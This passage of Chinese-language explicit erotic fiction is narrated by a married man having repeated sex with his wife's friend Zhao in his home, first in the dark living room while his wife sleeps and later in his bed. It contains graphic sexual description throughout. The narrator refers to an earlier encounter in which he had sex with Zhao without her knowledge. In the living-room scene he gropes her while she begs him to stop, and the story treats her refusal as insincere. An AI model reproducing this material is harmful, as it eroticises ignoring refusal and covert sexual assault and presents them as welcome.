今晚我已经射了两次,精液存量已经很少,所以,抽插的时间很长,可就在这时,门铃响了。

“糟糕,赵姐来了!”我和妻子不约而同的说道。

妻子匆忙起身找了点卫生纸擦下面流出来的东西,穿了睡衣就开门去了。此时,我真是无法形容我的感受,谁都不想在这个时候被人打断,我还真有点怪起赵姐来了,扫了我的兴致。

外面开始下起了瓢泼大雨,伴随着闪电和轰鸣的雷声,我听不到她们两人在客厅说些什么。正想起身去门边听一下,妻子却开门进来,叫我能不能到外面沙发上睡觉,她要和赵姐睡。

没有办法,我只好收拾了东西,抱上被子来到了客厅,看了一眼赵姐。她全身已经湿透了,可能是出门急了,没有带雨具,从她的眼神看得出,今晚她可能真是被吓坏了,一脸紧张和茫然。

她看到我看着她,有点歉意的微微点了点头,战战兢兢的说:“今晚不好意思啦。”

我在沙发上正准备躺下,妻子却安排赵姐去先去洗个热水澡,免得感冒。我觉得她们两个没有睡,我一个大男人就躺在沙发上,有点不雅观,只好打开电视看了起来。

妻子忙出忙进的给赵姐准备了洗澡的东西。过一会儿,赵姐洗得差不多了,我看到妻子又从卧室拿了一件自己的胸罩和一条一次性的纸内裤送到卫生间给赵姐换上,原来妻子还蛮细心的,女人对内裤的卫生是很讲究的,毕竟女人的下体在细菌面前可是很“脆弱”的,一次性的内裤比较卫生。

不知道是怎么,两人还在卫生间笑了起来,可能有点突然,笑声有点大,外面打着雷也能听到,但很快像意识到什么一样,又立刻止住了。

想着平时穿在妻子身上熟悉的内衣马上要穿到赵姐的身上,我一把将妻子拉到沙发上,带着哀求的说道:“亲爱的,乘赵姐进去洗澡,我们把刚才的事情做完了吧。”

“讨厌,有外人在,羞死了。”妻子竟然脸红了。

“可我好难过呀,做了一半,你理解一下嘛。”我继续哀求着。

“算了,忍一下嘛,实在受不了,要你也吃颗安眠药?”

“你吃啦?”

“是啊,你以为做了一半我不难过呀,我也想要呀!不说了,要吃的话,自己拿,我困了,先去睡了。”

妻子说完,又到卫生间门口和赵姐一起出来了。

见两人还在笑着,我有点好奇的问:“你们刚才在笑什么?声音那么大。”

赵姐和妻子被我这么突然一问,愣了一下,然后互相对望了一下。我看到赵姐脸刷的就红了,妻子则赶快开脱道:“女人的事情,男人别管!”就拉上赵姐进房间去睡了。而我也无奈的看着半夜无聊的电视发起了呆。

夜是那么的漫长,一阵阵巨大的雷响把小区的轿车防盗装置弄得此起彼伏的响着,加上沙发本身就不好睡,心里产生了埋怨赵姐给我今晚带来的不快。

我生气的走到卫生间小解,却看到了刚才妻子拿给赵姐换的胸衣仍然放在洗衣机上。我似乎明白了刚才她们两人发笑的原因,妻子的奶子没有赵姐的大,妻子的胸罩给赵姐戴上一定极为不舒服,两人肯定是因为这个原因而笑起来的。

回到客厅,我却发现赵姐已经坐在沙发上了,见我出来,有点不好意思的解释道:“你妻子睡眠真好,这么大的雷声,她也不醒。”然后又很不自然的转头去看着电视。

看着她有些神色慌张的表情,我知道,她是被雷声吓到了,特别是今晚的这个雷雨,卧室里又没有开灯,她一定很害怕,才跑到亮着灯的客厅来。我笑笑,仍旧坐到了沙发上。

她坐一边,我坐一边,此刻我俩感觉都很不自在,电视已经是一些很无聊的重播了,可我们还是装作聚精会神的看着。毕竟今晚对于赵姐来说,她经历了太多“可怕”的事情,先是和家人吵架,再就是被我神不知鬼不觉的占有了,令她以为自己被“不干净的东西”上了,现在又要遭受打雷的恐惧,更何况旁边的伙伴却睡得那么死。

既然无聊,我就开始边假装看电视,边观察她。她穿着的是我妻子的一条咖啡色细花的棉裙,双手抱在一起,胸部在被手压着的布料紧绷下,更突出了乳房的轮廓,乳头在棉布上显露出了小小的凸点。

我想,真是没有被我猜错,她穿不进我妻子的小胸衣,只好挂了“空档”。

不知道为什么,赵姐那对饱满而尖耸的奶子,我已经清楚的看过两次,可是这种被薄棉盖住的感觉却令我有说不出的新鲜感和兴奋。这种刺激,让我的下体觉得又想站起来了。为了不在这里露出我的丑态,我又强制自己把注意力转移到电视上,可电视早就出现了停播的标志。

我和赵姐两人仍旧对着电视,继续保持着沉默。

再偷看她时,我发现赵姐眼睛不时的也在看我这边,我假装没有注意到,但这种沈静令人发疯,我开始思索着怎么打破这个僵局。

“轰隆!”突然一声巨大的雷似乎就击中在小区里。

几乎是同时,四周一下全黑了。除了能听到小区的车子不断发出警报声外,什么也看不到,整个片区都断了电,真正是伸手不见五指。

我觉得自己在哪里都忘记了,这雷实在也太恐怖了,我被吓得直到各家把车警报关了,才恢复了神智。

“轰隆!”又是一连串的巨大雷声。

闪电的一瞬间我才看到了赵姐,她也好像才发现我在什么位置,就在闪电结束后的再次黑暗前,一下就挤到我旁边,紧靠着我,身体颤抖得很厉害。

对于我来说,一切来得那么突然。我能感觉到她的心跳得很厉害,因为此刻她的胸部已经紧紧贴在我的身上。不知道为何今晚我是该觉得幸运,还是应该遗憾是在我的家里。

我一面告诫自己,妻子正在另一间屋里,而我今晚已经得到过赵姐的肉体,不能在妻子面前做这样的事情,一面试图劝说她不要这么抱着我,这样会让我很冲动。

可不管我怎么说,她仍然不肯放开我。无奈之下,我只好来了个下下策,我实话对她说道:“赵姐,你别这样,这会让我冲动的,会犯错误的。”

就像没有停止的雷声一样,她紧抱着我,还是没有松手。

四周仍然是漆黑一片,可我不能这么等着,我再次劝她说:“你不放手,我真要犯错误了!”

还是没有动静,我发出了最后通牒:“我数三声,我就要动手乱摸了。”

听了这句话,我好像感觉她靠在我肩上的头左右摇晃了,但手仍没有放开。我也不懂是不放手,还是不同意我摸她。

没有多想,我开始小声的数着:“一,二--,三!”

其实我也没有打算真摸上去,但我明显感到她因为真怕我摸她,手拐自然的向胸部靠拢。这一举动,让我觉得她居然这样防着我,我顿时有一种被拒绝的失败感。

她打断了我和妻子的做爱,现在又把自己送到我面前,却又不给,一连串的想法令我胸中燃起一团报复的欲望,再掺杂着男人生理上想要女人肉体的淫念催使下,我渴望着她能主动出击。这样,似乎能化解我对自己妻子的愧疚感。

想到这里,我不免为自己的大胆感到惊讶,我开始喜欢这狂大的轰雷声了,我企盼着它来得更猛烈些!

她是坐在我的左边,这样,我就用左手强行的隔开她的手臂,实实在在的扣在隔着棉裙的乳房上。

“啊!我只是害怕,你别这样!”

她虽然带着哀求的挣扎着,但喉咙深处微微发出的“嗯、嗯”喘息声,出卖了她的言不由衷。现在她的反抗只不过是一种摆设了。

因为彼此看不到,我只能感觉到一张喘着热气的嘴正在寻找我的脸。我顺着这股热浪紧紧的吸住她的双唇彼此交换着唾液。我的右手也急不可耐的绕到了赵姐的后背,滑到下部,隔着棉裙摸她的富有弹性的丰满屁股。

一切挣扎彻底放弃了,换来的是赵姐双手抓狂的在我背上发泄着。就这样,在我的客厅沙发上,我们肆无忌惮地吻着。

她起先只是低声地呻吟。我们侧靠在了沙发上,我将整个身体向她压下,由于她是在最下面,原来爱抚着她臀部的右手只好抽出来,但很快又从棉裙子的下摆伸了进去,抵达大腿的根部。

我碰到了我妻子给她的一次性纸内裤,这还是我第一次摸着她的大腿内侧,用中指尖轻轻的游走在细嫩的大腿上,同时翘起食指不经意的隔着薄薄的棉纸去触动她的私处。

女人经不起这种试探,她不能任由我的手这样任意摆弄,转而主动的把我的手用腿夹住,就好像害怕我的手脱离她那里一样,然后开始左右挤弄双腿,阴户便在我的手上摩擦起来。

她呻吟的声音大了起来。虽然被雷声掩盖着,但我还是示意她小声。此时罩住她乳房的左手依旧隔着那柔软的棉布,这样反叫我觉得比直接包着她的乳房所带给我的快感强烈。

我抚摸着她今晚已经被我蹂躏过的奶子,弹性感觉却比早前在她家的时候增添了几分不同,除了无比的韧性外,还多了分柔软,添了一分棉布带来的顺滑,别有一番滋味。我将身体向下移动,俯首隔着棉裙用舌头舔弄着凸起的乳头。

黑暗中,她的手不怎么熟练地找到我的下面,把我裤子的拉链拉开,早已经硬了的肉棒一下感觉到释放出来后的凉爽。她用手捋了捋,显然还不知道怎么去玩弄男人的命根,只是抓在手中一紧一松的握着。

可能是因为我含住乳头的缘故,她的乳房比我前两次的接触更大更丰满了。我感觉光靠嘴已经不能控制了,只好再把左手重新隔着棉裙从边上向嘴含着的奶子中间使劲挤,握住后费力地捏揉着,时而拇指和食指配合牙齿的轻咬而捏住乳头搓着。

她轻微的喘息声变成了粗气。赵姐这种性感的声音刺激了我的下体神经。

没有耐心的我,又摸回到她的阴部,大量的粘稠汁液已经把兜着阴户部分的棉纸内裤打湿了,不能等啦,“嘶”,没有怎么用力,我的手便将那条一次性内裤从潮湿的地方撕开了,粘湿的阴毛将汁液粘满了我一手。

我用牙齿咬住已经被唾液粘湿一大片的棉裙下面的乳头,越来越用力的咬,再努力张大嘴,把两个乳头都放进嘴里。左边咬一下,右边咬一下。

漆黑的环境消退了她的一切羞耻感,她完全放开了自己,好像从来没有那么刺激地粗喘着。我太刺激了,她可能也过于兴奋了,用力地拽着我的阴茎。我痛得泪都快出来了,可是这样偏偏又非常刺激。

她努力向上擡着她的臀部,我将右手的中指摸索着顺着粘液准备插入她的阴道里。指头一接触到阴唇,她突然用一只手抓住了我的手。

我知道她在想什么,立刻轻声道:“放心吧,我洗过手了,很干净。”

她这才松开了手。就这样,我的中指深深的埋入了肉缝里。我将手掌朝上,中指开始不停的做着弯曲动作,我碰到了阴道内一圈一圈的环形内壁,我开始反复的刺激她阴道内G点的肉粒。

她粗烈的喘息中好像说着什么,我把头凑近了,微微听到她唿唤我快进到她的身体。

我知道是时候了,但我还是故意说道:“不,赵姐,我已经对你犯过一次错误了,我,我不能。”边说着,我试图离开她。

可此时的赵姐已经不能自拔,她三下五除二的把我的裤子脱到了膝盖处,把我按倒在沙发的另一头,自己把腿分开叉在我的腰部,一手扶在沙发的靠背上,稳住整个身体,接着就用另一只手找到我挺直的生殖器,摸索着对准了她的阴户位置,屁股用力向下一坐。

“噗!”由于赵姐下体粘液太多的缘故,我的阴茎进去的时候闷响了一声。无法形容的爽啊!这个是第一次赵姐用手引导我的生殖器进入她最秘密的地方。

虽然我妻子吃了药,已经处在熟睡中,但我心里还是有些担心,我的阴茎虽然插进了赵姐的肉缝,可我还是有些心不在焉的任她自己动着。她可能觉得不是很过瘾,便一上一下,一前一后的地晃动着身体配合我的生殖器,一时间比我以往的动作更猛烈。

不知道是不是黑夜的缘故,还是那狂雷暴雨的气息!它激发了我更原始的野性,我开始忘情的挺着我的腰向上使劲抽插起来。每次深深地插到底的时候,赵姐分泌的大量粘液随着我们生殖器的撞击而四溅着,有几次过于深触到她的子宫口时,她会因为疼痛而全身痉挛一下。

我感觉到越来越多的液体顺着她的屁股流了下来,流到了我的阴毛上,再流到了我的腿上,那种刺激带来的是我更用力的抽送,彼此都不用说话,也看不到对方淫荡的样子。

她的动作从大变成了小而急促,喘息也越来越分不清次数,她拉起我的手,从裙摆里伸上去,放在她的奶子上。我知道她要到了高潮,便配合着狠狠地捏起来,阴茎也快速地上下插起来,这是我第一次这样做,新鲜的刺激令我很快就有了包不住精子的感觉,我示意她我要射。

又一阵雷声比较大的雷响了起来。

隐约中我好像听到了她兴奋到极点后叫了几声,我也不顾忌什么了,直起身体,反将她重新按倒,快速的将生殖器深深的埋到她的阴道里,过了两三秒钟,一阵快感喷薄而出,她也抽动了几下身子,便瘫软在我身下不动了。

我们就这样保持了几分钟,我亲吻着她的脸,她仍然瘫软在沙发上,没有回过力气。我起来,凭着记忆来到卫生间,找到了圈纸,又重新回到客厅。

我不用太费劲,就来到了沙发旁,因为赵姐在黑暗中那不断的唿吸已经告诉了我她的位置。她动不了,也不想动,我就用纸先把我的下身和腿、阴毛处彻底清理干净,又坐到沙发上,摸索着那我占有了几次已经熟悉尺寸的身体,摸到了私处,把她的下身擦干净,收拾干净。

我又将她扶到了卧室,放到我妻子的旁边。我不放心,轻轻叫了几声妻子,可是妻子还是在熟睡着,没有回答,我这才回到客厅睡觉了。

......................................

第二天一早醒来时已经8点多钟,我吓了一跳,其实我平时休息时间总是很晚起来,今天却例外,因为我想早点起来看看昨天夜里没有收拾干净的痕迹。我一边想,一边观察沙发,而昨晚疯狂的地方四周是那么的干净。

对,看看那些撕扯下来的内裤呢。

我正准备看看垃圾桶,却看到赵姐已经衣着整齐的在厨房做着早点,看来她起得比我早,并收拾了残局。

“真是个很细心的女人!”我会意的笑了笑。

赵姐见我在厨房门口看着她,也有点不好意思,都没有敢和我的眼光直接对视,而脸上分明还挂有点红通通的,这是女人最吸引人的妩媚,这让我觉得回到了与妻子当初同居时,她每天早上的那种感觉。

呵呵,不能想啦,又要“直立”了,我还是去看看妻子吧。我走回卧室,妻子仍然在床上睡得很死。呵呵,我心中暗笑一声,就听见赵姐走到门外喊我妻子起来吃早点了。

等妻子洗漱出来,我们三人一起吃了早餐,赵姐和妻子有说有笑的拉了些家常话,我看到她不时擡眼看着我,那眼神充满了幸福,她以前从来没有这样过,我也没有听进她们在说些什么。

妻子突然拉着她的手说:“就再多住几天吧,直到佳求你回去,也叫佳知道没有你的日子是什么样的!”

我也停下来,期待着她的回答。

她擡头看了看我。

妻子以为她担心我不同意,便说:“他不会反对的!你放心,他不敢不听我的!”

“那就麻烦你们了!”赵姐默认的点了点头。

我们三人笑了。我看着她,她也看着我,我们很开心的笑着度过了一个快乐的早晨!

赵姐就这样在我家住下了,遗憾的是,下班回家的时候,两个女人除了逛街就是在家不停的聊天,就当我不存在一样。

有时候,我就坐在妻子背对着我的角度看着赵姐,偶尔赵姐也会偷偷的看向我。两个人的眼睛对望时,我能看到她眼睛里也流露着遗憾和无奈,我猜想或许她也没有用心在听我妻子唠叨吧。果不其然,她总是被我妻子突然的发问而不知所措。这是种痛苦的煎熬,虽然苦涩却又有着初恋般的甜蜜。

赵姐每天晚上总要冲个热水澡,听着不规则的水滴声,我总会幻想着我就是那滑过赵姐每一寸肌肤的哗哗热水,也只有在这个时刻,我将这些性幻想积攒的渴望全部发泄在妻子身上,晚上一个人睡在沙发上则手淫到全身发软昏昏睡去为止。每天如此。

第三天的时候,我开始感觉除了四肢无力外,腰部也痛得厉害,才不得不停止了这种疯狂举动。

第四天是个星期六,由于连续的损耗,我醒来的时候,太阳已经升起老高。我看了下四周,没有见到两个女人的踪影,卧室的门开着,除了折叠得整齐的被子,房间空无一人。我又来到厨房,却听到了浴室里面有人在洗澡,大白天的,应该是妻子,看来赵姐回家去了。想到这里,顿时心里有说不出的失落,本来就疲惫的身体更加显得沉重了。

“洗个澡,放松一下,顺便叫妻子搓搓背,把这一切忘了吧!”我安慰着自己,便脱了睡衣,找来钥匙开了浴室门进去了。

整个浴室已经被热腾腾的雾气笼罩着。

朦胧中,我看到妻子背对着我正在冲洗头上的洗发液,想到每晚我就想抱着正在洗澡的赵姐时,刚才的失落感又涌上了心头,我不由得从后面抱住了妻子,并凑到她耳边深情的说道:“亲爱的,我爱你!”

妻子停止了洗发,转身紧紧的依偎在我的怀里。这时候,我才看清楚,怀里的女人是赵姐!

“啊!”那一刻,叫的人是我,应说是欢唿起来。

只有“哗哗”的水流声,我们互相依偎着。

不知道有多长时间,赵姐才说:“让我帮你擦擦背吧!”

我放开了手,发现她眼睛红了,她哭了。我也想哭,是的,她就要走了,或许现在已经回到了家,或许,太多的或许。

我们两人没有说话,我背对着她,感觉着她用湿毛巾擦着我的背,虽然有点用力,但不痛,痛的,是我的心。我不大记得她有没有擦完我整个背部,我感到她拿着毛巾的手停了。我转身看到她一只手摀住了脸。

她不想让我看到她在哭,便又回到水中冲洗着。我想说点什么,但我还是保持了沉默,从她手中拿过毛巾开始帮她擦洗,这还是我第一次帮女人洗澡,有几次妻子洗澡的时候,我也只是看了看便走开了,但这一次,我想留下来,希望越长越好。

过了一会,我听到赵姐稍微平静了下来,偶尔带点抽泣的说道:“她,她去单位值班了。”

知道她是说我妻子,对呀,我都忘记了今天轮到妻子在她们单位值班,赵姐好有心,这时候仍然能感觉到我内心在担心什么。她一定是想让我放心的留着,真是个可爱的女人。

我在手上打了沐浴液,在她身上温柔的擦着,她却随着我移动的手而笑了起来,整个浴室的气氛一下活跃了。我帮她清洗到那对耸立丰满的乳房时,她笑得更厉害了,身体也随之扭动。

可我就越是想搔动她全身,顺着流淌的水流,触摸她神秘的三角地带,尤其是在我帮她洗阴户时,她头埋在我的怀里,整个人都要瘫软在我身上,任由我用擦满洗浴液的手指头翻弄她的阴门。

我取下花洒,开始对着她的下体冲洗。在水流冲击下,本来不多的阴毛显得更加的稀疏。我用手指微微绷开紧闭的肉缝,用水把刚才沐浴液的泡沫弄干净,可无论我如何的冲洗,总感到那里仍然不断的充满粘液。

我担心是不是沐浴露刚才弄得太进去了,便蹲下身子,用手翻起那粉红阴唇看时,发现两片阴唇早已是充血而肿大了,赵姐是有了些想要的感觉,那些粘液不是沐浴露,而是她不断分泌的“花蜜”。

其实我下面的肉棒早就站立着跃跃欲试了,此刻已经不想等待。我站起身,用手下压住因充血而红红的龟头穿过赵姐的双腿,碰到粘液最多的地方,腿稍微向下一弯再站直,阴茎轻松的就进入了温暖的肉缝。

我一颠一颠的在里面抽动了两下,但这样站着实在是不好来大动作,而我的阴茎也只能插进三分之一,加上腰部因为这个怪动作而又痛了起来,我不心甘的拔了出来,关了水,抱起赵姐就冲向卧室,她也很配合的把手搂在我的脖子上。

我把她轻轻放到床上,将我的身体压在她的身上,这一切让我想起了和妻子新婚时,我也是这样享受着新婚之夜的前奏,那是多么的温馨呀。想到这,我用柔情的眼睛端详着身体下面的赵姐。她也望着我,脸红红的,似乎也想着什么美好的回忆。

“你在想什么?”我轻声的问着赵姐,手在她饱满的乳房上轻轻的爱抚着。

“没,没有啊。”赵姐有点不自觉的慌张起来。

我能从她闪闪的眼神中看到她掩饰不了的兴奋,却又那么的异常,不是那种对性渴望的兴奋。

“大概是第一次和你躺在这张床上,有点,我,我也不知道。”见我疑惑的眼神看着她,她又解释道。

“是想佳了吧?”我半开玩笑的再次问道,心里却焦急的等着她的否定。

赵姐没有回答,眼睛望到了别处,不敢和我对视。我心里一下酸酸的,很难受,阴茎也刹时失去动力般软了下来。

“那一定是很快乐的回忆吧?”我压住内心的伤感,淡淡的问道。我不知道自己想要的是什么答案,也许,只是不想就这么冷场。

赵姐仍然没有吭声。

“其实,你是佳的妻子,我不奢望什么,我已经很知足了,你和佳有着快乐的时光,我只是想知道你和他在一起快乐的时候,那甜蜜幸福的样子。”我尽量放慢语调以免透露出我内心的酸楚,我不想自己占有的女人此时此刻想着别的男人。男人很奇怪,内心不舒服,表面却又要装得那样宽容,并说一些违心的话。

此时,赵姐可能考虑到这样对我有点不好,便用手抱住我的头,压在她的胸上。然后看了我一眼说道:“你真想知道?”

我就像个孩子一样,躺在赵姐的身上。

她依旧搂住我的头,不情愿的又说:“我刚才回想起了第一次和佳在一起的时候。”

“那,那是你的第一次吧?”我回问了她。

赵姐点了点头算是默认了。

尽管此时在赵姐的回答中我心中泛起阵阵醋意,但不否认也有些刺激,已经软下去的肉条又有了感觉。

“我想知道一切。”我也不知道自己怎么突然冒出这么一句。

“你们男人好奇怪,听这些不会难过吗?”赵姐一脸狐疑的看着我。

我依然温柔的看着赵姐,缓缓的说:“心里是不舒服,但我不可能去怪你和他做了什么,我只是想让你重温一下当时热恋中的你,享受做爱时那种无比的快乐。我想知道你快乐的感受,你快乐,我就快乐就觉得刺激,所以我想知道。”

这时,赵姐更有些难为情的扭动了一下身体,说道:“我,我说不出来,你好讨厌!”

听得出赵姐说话时带有一些因激动产生的结巴,我知道其实她也感到在另一个男人怀里回忆自己第一次的兴奋。看到她这样,我也开始轻抚着她的乳房,并慢慢的向下抚摸着她的阴部。

“是不是佳第一次也是这样享受你的?”我边调逗她的身体,边慢慢引导她去回忆。

赵姐迟疑的看了我一眼腼腆的说道:“哪有啊,只是那天佳也是这么把我抱到了床上。”

“后来呢?”我急急问道。

“后来呢?你说嘛,我很想听。”见赵姐没有回答,我又忍不住催问着。

赵姐在我催促下极难为情的说:“后来,后来就发生了那种事,你也经历过的,我不想讲了。”

“哎,我没有佳那么幸运,我不是妻子的第一个男人。”

我叹息着,内心触发到了我一直以来挥之不去的痛,抚摸着赵姐下体的手也不由得停了,我翻身离开了赵姐的身体,和她平行的躺在一起。

赵姐看我有点难过,忙安慰起我:“你们男人对这个很在意吗?其实这不代表女人不爱你们呀?谁都会犯错误的。”

其实这个道理我也明白,但我知道自己喜欢的女人之前有另一个男人,我不会在意,但我妻子当年却跟我说她没有谈过恋爱,陷入爱情的我在床上才证明了她的谎言。那应该说是一种欺骗的感觉,我压抑着自己,但今天,我想说出来,渴望着能得到理解,我温柔的搂着赵姐,把自己所有感受告诉了她。

赵姐仔细的听完我的诉说,开始沉默不语。家里一下安静得只听见客厅里的冰箱偶尔发出“嗡嗡”声。

也不知道过了多久,赵姐把身体转向我,一手搂着我的脖子,一只腿搭到了我的身上,轻轻叹了口气,开始说道:“那次我跟母亲撒了谎,说和几个女同学一起去郊游,其实我是和佳两人一起去游山玩水。我和他很开心的度过了整个白天,到了晚上,我们找到了宾馆,佳只开了一个房间。”

“你没有拒绝?”我开始回应着她的话。

“之前我也知道可能要发生一些事情,由于害怕,我们还是分开进宾馆的,当时心跳得很厉害,但又觉得有点刺激,没有多想就跟佳进了房间。”

赵姐一边描述,一边把视线移开了我的眼睛,把整个头靠在了我的胸上又继续说道:“进到房间以后,看到有两张床,他还安慰我说他睡一张,我睡一张。后来他说想睡觉了,就拉上了窗帘,坐到了其中一张床上,脱去了他的外衣,看到他脱了内衣赤裸着上身的时候,我害羞的转过了身,人也很不自然的呆站着,还记得当时很想喝点水。”

“别告诉我,你们就这样过了一夜?”我问道。

“讨厌!你要不要听嘛!”赵姐撒娇似的埋怨着我。

“好啦,是我不对,你说,你说。”我立刻安慰了几句,又催促着她继续说下去。

“忽然,我感到他迅速的来到我后面,我正想转身,他很温柔的从后面搂抱住我的胸……”

这时,赵姐有些难为情的再次把头移到我的肩上,目光仍然不敢直视我,继续说道:“我们以前也亲近过,但在那种环境下,我感到他抱着我以后,我全身都酥软了,他告诉我,他很爱我,我听了以后,心里十分的感动,于是我就任他拥抱着亲吻我的脖子和后背。”

此时,说到动情处,赵姐放在我身上的腿开始不由自主的夹紧我的身体,蠢蠢欲动着。

我继续沉默着。

见我没有吭声,赵姐深深的吸了口气,又开始说道:“亲着亲着,我的上衣就不见了,我完全没有感觉到这种变化,当裙子掉到了地上后,我才发现自己已经全身赤裸裸了,我立刻害羞的把双手捂着脸,他就像你一样,抱起了我,放到了床上。因为不知道接下来会发生什么,我突然好紧张,心跳得很厉害,我本想挣扎的,但身上一点力气也没有了,我知道今天晚上肯定逃不过了,于是就决定什么也不管了,横下心来任他摆布吧。”

这时我已经十分清楚他们后面做了些什么,但是心中那种刺激的渴望强迫我迫不及待的催促:“别停下来。”

赵姐也感觉到我身体的变化,她的腿不时的碰到了我两腿中间那根半擡着头的硬棒,她知道我的需要,便有些结巴的继续说道:“佳整个人压在我的身上,唿吸越来越急促,他把我搂得很紧,我明显感到佳下面有东西顶着我,我之前没有接触过男人的那个东西,感觉很神秘,甚至有点恐怖,就有些害怕起来,我便对佳说叫他不要这样。”

我听着赵姐的述说,刚才的醋劲渐渐消失了,换来的是感受着她腿部在我身上移动时,下体的阴毛擦碰着我腰上的轻柔,就像有人用柔软的毛刷在轻扫着我身上的尘土般美妙。我不想错过赵姐的“第一次”,又迅速的聆听着她的描述。

“可我一开口,他就亲吻住了我的嘴唇,我脑子里一下就一片空白。就这样过了一会儿,当我回过神来时,不知他是不是紧张还是以前也没有做过,他的东西在我下面顶了好半天都没有进来,而且,顶的我周围疼疼的,我更害怕了,因为我也不知道要怎么去配合,便再次央求他停止。”

这时,赵姐越来越害羞了,身体抽搐似的弯曲了一下。我已感到自己非常的冲动了,我侧过身对着她,把硬得难受的硬棒顶到赵姐两股之间摩擦着。

“是像我这么顶你吗”我酸熘熘的问道。

“才不是这样呢。”

赵姐轻打了我几下胸脯娇声说道,看上去,赵姐的神情状态已完全放松了,也开始感受着这种独特的对话带来的刺激。

“那是怎么样的,我想知道。”我急不可耐的问着。

“佳以为我怕怀孕,就边安慰我,边说他要看看我的下体,我一下就拉住了正要起身的佳,毕竟长那么大,还没有哪个男人看过我那里,那毕竟是我最隐私的地方,我告诉他不要看,我会不好意思的。可佳哪里听我的,又说了些甜蜜的话,我终于屈服了,放开了拉着他的手,紧闭上眼睛,不敢去面对他。他用手使劲分开了我已经合拢的双腿,我不知道他在做什么,我感到我下面好像有东西在流出来,因为我一开始便觉得想小便,所以,我以为自己是小便失禁了,现在又被佳看到,更觉得丢人,连忙叫他别看了。”

赵姐说到这时,擡起了头,对我轻轻的说:“下面的你也知道,我不想再说了,好不好嘛?”

“嗯。”我已经沈浸在迷迷煳煳的幻想中,把我自己想作是当时的佳,此刻赵姐突然不说了,我如梦中般惊醒,这才发现,赵姐大腿根处流出的粘液已经顺着我的硬根淌到床单上。

原来赵姐的下面在她自己的回忆中,早已经氾滥,看来她实在受不了,才停止描述的。

于是我无须再控制自己的情绪,一个大翻身,把将赵姐放平到床上,看着平时和妻子做爱的大床上,躺着赤裸裸的另一个女人,我的硬根更加的粗涨起来,龟头也红得发紫。

赵姐看了看,也配合的张开她的双腿。我的龟头很熟悉的便找到了阴户的小缝,刚要插入,便感觉一股强大的吸力透过肉缝,吞噬着我的阴茎,但我还是没有将整根阴茎插进赵姐的阴道里。

赵姐被我这么突然的举动而显得焦急了,她需要我现在给她不停的,更深入的刺激,于是便伸手来拉我,想我深深的进入她身体。

我不放过机会,我仍然停着,对赵姐说:“我想听,你继续说一下,我就动一下,否则我就不动了。”

赵姐没辙了,不得不在喘息声中断断续续的重新诉说着:“我和佳当时都没有经验,他看了我的下体后,又重新压到了我身上,想插进来。他在我下面找寻着的过程中,不断的想要扒开我的大腿,于是我就努力的把腿打的开开的。”

这时,赵姐的脸上,呈现出一种女人特有的娇态。想着被朋友肏过的赵姐,一种无名的冲动令我忘却了腰部的疼痛,而力量倍增,搬过赵姐的下身子,粗鲁的插入肉缝最深处!

“啊!”赵姐失声的叫了起来。

“是不是有点痛?”我关心的问道。

“嗯……嗯……疼……轻点……”赵姐居然疼得流出了眼泪。

“那佳进去的时候也很痛吧?”我想起女人的第一次也很痛,便追问道。

这时,赵姐有些激动的说:“我正紧张的感觉着佳的那里到底会怎么样的时候,他的下面突然就钻进了我的身体,第一次被别的东西进到我下面,感觉那个东西真的很粗大,就像你刚才进来那一瞬间的感觉一样,把我下面涨的满满的。一阵钻心的疼痛中,我也不禁大叫了起来,脚不由自主的伸得直直的,感觉要痉挛了。”

听到这里,我双手按住赵姐的乳房,下面猛烈的在她的阴道里乱撞了几下。赵姐也“啊啊”的呻吟起来,声音是从来没有的那么放荡和暧昧。我立刻觉得,不能再控制多久我的精液就要射出来了,忙推了推赵姐,示意她赶快继续说。

可赵姐却“呵呵”的笑了起来。我连忙问她为何要笑?

“我想起佳刚一进到我里面,就马上感到他在我里面一阵阵的射了很多温暖的东西,就这样不到几秒种就结束了我们的第一次。”

听到佳在赵姐体内留下了精液时,我感觉自己做爱变成了一种愤怒的发泄,随着这种心理,我开始更加野蛮的地蹂躏起身下压着的赵姐,像是要把她的第一次夺回来般疯狂了。

在连续的激情猛插中,射精的感觉已经传输到龟头。我任由着成千上万的精液冲向赵姐阴道,恨不得一直留在里面似的喷射着,结束射精后的阴茎并不立刻软下去,而是继续坚硬的保留在赵姐温暖的阴道里。

赵姐感觉我没有动,开始摇动自己的臀部,阴道开始套弄吸吐着我的硬棒,双腿情不自禁地忽高忽低地摇动着,嘴唇发出一阵阵急促、刺激的呻吟。她在高潮中抽动着自己的下身。

我直起身,看到赵姐阴道和我的硬棒接触的缝隙处,不断向外流出乳白色闪亮的浓稠粘液,顺着会阴淌到屁股两侧,最后在床单上形成一滩潮湿的污渍。我从赵姐身体移下来时,赵姐仍然还沈静在性爱带来的快乐之中。

“他后来又玩你了吗?”我问道。

“哎,”赵姐叹口气说道:“我因为疼痛和紧张,都没有感受到做爱的真正感觉,正想把他推出去,他就射进来了,太快了,我一点都反应不过来,他射完以后就趴在我身上一动不动了。我担心会怀孕,使劲的把他推开,就自己跑去了卫生间,当时也不知道该怎么办,就蹲下来,想把里面的东西挤压出来,结果,我看到几滴血滴到了坑里,我一害怕,就在厕所里哭了。”

说到这里,赵姐把头靠在我怀里依偎着,手则随意的玩弄着我残留着各种爱液的软肉棒,眼睛好像在给病人看病一般痴痴的看着。

看她一脸好奇的翻弄着我的阴茎,我在想,她是不是在和佳的进行对比吧,于是问道:“佳的是不是我的大?”

“我不知道,我没有仔细看过男人的这里。”赵姐说着又捏了捏我的阴茎说道:“好像都一样吧。”

赵姐擡头看到我一脸的不相信,有些急了,立刻又解释道:“真的,我因为害羞,没有敢去仔细看佳的那里,只是偷着看了两眼,只记得看到他肚皮下面黑黑的毛里,有根歪斜着东西,很吓人,这是我第一次看到男人的东西,我也觉得很是难为情,并感觉有些发恶心,加上一进我里面就像刀刺般的疼痛,我从此就更害怕了。”

这时,在赵姐小手的玩弄下,阴茎又硬如钢铁了,涨涨的,好难受!她有意识的将她的臀部移动到我最硬的地方,摩擦我的硬棒。

“后来你们又做了一次吗?”我仍然关心的问道。

赵姐摇摇头,回答道:“我在卫生间哭了好一阵,佳也没有进来安慰我,我感到很伤心,要不是离家很远,我真想立刻就回家,再也不要见到他了。我从卫生间出来时,看到佳仍然赤身裸体的躺在床上看着电视,也不问问我好不好,于是我赶紧穿了衣服躺到另一张床上,一动不动的在泪水中艰难的熬过了一夜。”

回忆再次勾起了赵姐的伤感。我深情的将她紧紧搂在怀里,为了让她开心,我想此时正是给她完美一击的时候。我将手拉住在赵姐阴道口与肛门之间会阴位顶着的硬棒,顺着粘液的源头地缓慢的送入阴道。

